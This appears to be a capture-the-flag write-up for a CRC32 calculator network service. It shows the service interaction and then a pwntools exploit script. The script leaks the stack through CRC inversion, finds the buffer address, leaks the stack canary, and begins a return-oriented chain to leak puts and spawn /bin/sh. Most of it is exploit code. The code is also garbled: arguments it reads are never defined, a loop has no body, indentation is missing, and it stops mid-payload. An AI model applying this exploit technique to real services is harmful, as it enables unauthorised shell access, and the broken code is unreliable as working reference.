## problem

\$ nc 69.90.132.40 4002

**********WELCOME TO THE CRC32 CALCULATOR**********

------------------------
1) Calculate a CRC
2) Exit
------------------------
Choice: 1
What is the length of your data: 3
Please send me 3 bytes to process: foo
CRC is: 0x8C736521
------------------------
1) Calculate a CRC
2) Exit
------------------------
Choice:



## implementation

#!/usr/bin/env python2
from pwn import * # https://pypi.python.org/pypi/pwntools
import argparse
parser = argparse.ArgumentParser()
args = parser.parse_args()
context.log_level = args.log_level
libc = ELF(args.libc)

gets_plt = 0x8048460
puts_plt = 0x8048470
puts_got = 0x8049fe4
pop_ebp_ret = 0x8048852 # pop ebp ; ret

if args.process:
p = process(args.binary)
else:
p = remote(args.host, args.port)

import zlib
def uncrc(value, prefix=''):
for c in map(chr, range(256)):
if zlib.crc32(prefix + c) % 0x100000000 == value:
return c

def crc(length, data):
p.recvuntil(' Choice: ')
p.sendline('1') # Calculate a CRC
p.recvuntil('What is the length of your data: ')
p.sendline(str(length))
p.recvuntil('bytes to process: ')
p.sendline(data)
p.recvuntil('CRC is: ')
return int(p.recvline(), 16)

# dump stack
stack_dump = ''
for i in range(1, 100):
value = crc(i, 'A' * 100)
c = uncrc(value, prefix=stack_dump)
if c is None:
break
stack_dump += c

log.info('stack dump:\n%s', fiddling.hexdump(stack_dump))

# find the addr of buffer
for index in range(len(stack_dump) / 4):
addr = u32(stack_dump[index * 4:][: 4]) - 0x100
if addr < 0x100: # small
continue

for _ in range(16):
if crc(16, 'A' * 100 + p32(addr)) == zlib.crc32('A' * 16) % 0x100000000:
break
else:
continue
break
else:
raise
while crc(16, 'A' * 100 + p32(addr - 4)) == zlib.crc32('A' * 16) % 0x100000000:

# leak the canary
canary = ''
for i in range(4):
value = crc(1, 'A' * 100 + p32(addr + 104 + i))
canary += uncrc(value)
canary = u32(canary)
log.info('canary: %#x', canary)

# leak got.puts and call system("/bin/sh");
p.recvuntil(' Choice: ')
payload += 'A' * 4 # ebx